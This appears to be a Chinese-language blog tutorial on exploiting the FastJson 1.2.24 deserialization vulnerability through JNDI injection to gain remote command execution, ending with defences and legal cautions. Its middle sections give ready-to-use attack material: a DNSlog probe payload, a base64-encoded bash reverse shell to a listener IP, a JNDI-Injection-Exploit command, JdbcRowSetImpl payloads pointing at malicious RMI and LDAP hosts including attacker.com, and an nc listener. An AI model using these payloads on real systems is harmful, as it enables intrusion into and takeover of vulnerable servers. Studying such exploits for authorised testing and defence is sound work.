FastJson反序列化漏洞实战:利用JNDI注入实现远程命令执行

张开发
2026/4/6 17:58:54 15 分钟阅读

分享文章

FastJson反序列化漏洞实战:利用JNDI注入实现远程命令执行
1. FastJson反序列化漏洞背景解析FastJson作为阿里巴巴开源的高性能JSON处理库凭借其出色的速度和易用性在Java生态中占据重要地位。但正是这个被广泛使用的组件在1.2.24及之前版本存在一个致命的反序列化漏洞CVE-2017-18349。这个漏洞的精妙之处在于它利用了Java反序列化机制中的JNDI注入特性使得攻击者能够实现远程命令执行。我在实际渗透测试中发现很多企业系统仍在无意中使用着存在漏洞的FastJson版本。漏洞的根源在于FastJson在反序列化时会自动调用对象的setter方法而JdbcRowSetImpl这个JDK内置类恰好可以通过JNDI实现远程类加载。当攻击者精心构造的恶意JSON被解析时就会触发一连串的连锁反应。举个例子就像你把家门钥匙交给快递员取件却没想到快递员偷偷复制了钥匙。FastJson原本只是负责JSON数据的转换但由于缺乏严格的安全检查导致攻击者可以通过特殊构造的数据借刀杀人。2. 漏洞利用环境搭建2.1 实验环境准备要复现这个漏洞我们需要准备以下组件漏洞环境使用Spring Boot搭建一个简单的Web应用集成FastJson 1.2.24版本攻击工具JNDI-Injection-Exploit工具GitHub开源项目网络配置确保攻击机和靶机在同一个网络或者有公网IP用于反弹shell我建议使用Docker快速搭建测试环境避免污染本地系统。下面是一个简单的Dockerfile示例FROM openjdk:8 RUN wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar COPY vuln-app.jar /app.jar EXPOSE 8080 ENTRYPOINT [java, -jar, /app.jar]2.2 漏洞验证方法在BurpSuite中捕获到FastJson处理请求后可以通过修改请求体来验证漏洞是否存在。一个简单的探测payload如下{ type:java.net.InetAddress, val:dnslog.cn }如果服务器向dnslog.cn发起了DNS查询就说明存在反序列化漏洞。这种方法相对安全不会对目标系统造成实际影响适合初步探测。3. JNDI注入原理深度剖析3.1 JNDI工作机制JNDIJava Naming and Directory Interface就像Java世界的电话簿它允许程序通过名称查找和访问资源。问题出在JNDI支持多种协议包括RMI和LDAP而这些协议都支持远程加载类文件。当FastJson反序列化JdbcRowSetImpl对象时会自动调用setDataSourceName方法。这个方法内部会发起JNDI查询如果dataSourceName指向恶意RMI服务器就会加载攻击者准备好的恶意类。3.2 漏洞触发流程完整的攻击链条是这样的攻击者搭建恶意RMI服务器构造特殊的JSON数据指向恶意RMI地址目标服务器解析JSON时触发JNDI查询从RMI服务器加载恶意类并执行实现远程命令执行这个过程就像是一个精心设计的快递骗局你下单买商品正常JSON数据商家却送来一个会自动执行的木马程序恶意类。4. 实战构建反弹Shell4.1 准备反弹Shell命令反弹Shell的关键是构造一个能在目标服务器上执行的命令。我推荐使用Base64编码来避免特殊字符问题bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ}|{base64,-d}|{bash,-i}这个命令解码后相当于bash -i /dev/tcp/192.168.1.100/8888 01在实际操作中我发现有几个常见坑点命令中的空格和换行会导致执行失败目标服务器可能没有安装某些工具如nc防火墙可能会拦截出站连接4.2 启动JNDI注入工具使用welk1n开发的JNDI-Injection-Exploit工具可以快速搭建攻击环境java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ}|{base64,-d}|{bash,-i} \ A 192.168.1.100工具运行后会输出RMI和LDAP服务地址类似rmi://192.168.1.100:1099/xxxxx4.3 构造恶意Payload最终的FastJson攻击Payload如下{ b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://192.168.1.100:1099/exploit, autoCommit:true } }在实际渗透测试中这个Payload需要通过BurpSuite等工具注入到目标请求中。我遇到过几种常见情况直接替换POST请求体修改Cookie中的JSON数据通过参数污染方式注入4.4 接收反弹Shell在攻击机上使用nc监听指定端口nc -lvvp 8888如果一切顺利当目标服务器处理恶意JSON时你会在nc会话中看到Shell提示符。第一次成功获取Shell的感觉就像黑客电影中的场景但实际上这只是安全研究的基础操作。5. 防御措施与修复方案5.1 官方修复方案阿里巴巴官方提供了几种解决方案升级到FastJson 1.2.25及以上版本使用safeMode功能配置autotype白名单最彻底的解决方法是升级版本。在1.2.25中FastJson引入了autotype检查机制默认关闭autotype功能。5.2 临时缓解措施如果暂时无法升级可以采用以下方法降低风险使用JSONField(serializefalse)注解忽略敏感字段自定义ObjectDeserializer对反序列化过程进行控制部署WAF规则拦截恶意Payload我在一个金融项目中就遇到过无法立即升级的情况当时采用的自定义反序列化方案ParserConfig.getGlobalInstance().addAccept(com.mycompany.safe.);5.3 安全开发建议从开发层面预防这类漏洞永远不要反序列化不可信的数据使用Jackson等更安全的JSON库实施最小权限原则限制Java应用的网络访问定期进行安全扫描和代码审计有次代码审计中我发现开发团队为了方便在所有DTO上都加了JSONType(autoTypetrue)这相当于给攻击者开了后门。安全与便利往往需要权衡。6. 漏洞利用的变种与进阶6.1 绕过WAF检测现代WAF通常会检测常见的JNDI注入特征。我研究过几种绕过方法使用LDAP协议代替RMI对Payload进行Unicode编码利用DNS查询外带数据例如这个Payload可以绕过简单字符串匹配{ x:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker.com/oreference, autoCommit:true } }6.2 结合其他漏洞利用在实际渗透中FastJson漏洞常与其他漏洞组合利用先通过SSRF获取内网访问权限利用内网服务中的FastJson漏洞横向移动通过反序列化获取更高权限有次红队演练中我就是先通过一个前端SSRF漏洞发现内网Jenkins使用了存在漏洞的FastJson版本最终拿下了整个构建系统。7. 法律与道德边界在进行安全研究时必须遵守几个原则只测试自己拥有权限的系统获取明确的书面授权不查看、修改或删除非授权数据发现漏洞后负责任的披露我认识一位安全研究员因为未经授权测试某电商网站结果惹上了法律麻烦。技术就像一把双刃剑关键在于如何使用。

更多文章